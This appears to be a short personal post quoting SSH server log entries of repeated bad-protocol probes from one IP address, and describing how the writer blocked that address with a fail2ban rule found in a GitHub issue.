Dec 26 01:56:53 server sshd[31475]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 01:57:33 server sshd[31499]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 01:58:17 server sshd[31691]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 01:58:51 server sshd[31749]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 01:59:32 server sshd[31773]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140

Dec 26 12:07:58 server sshd[16434]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 12:08:55 server sshd[16687]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 12:09:52 server sshd[16743]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140

Going on and on and on and..

So I looked it up and found How to block Bad protocol version? · Issue #1284 · fail2ban/fail2ban · GitHub which has a simple rule to block this with fail2ban. As soon as the sshd.local was loaded a block was set for 185.110.132.140.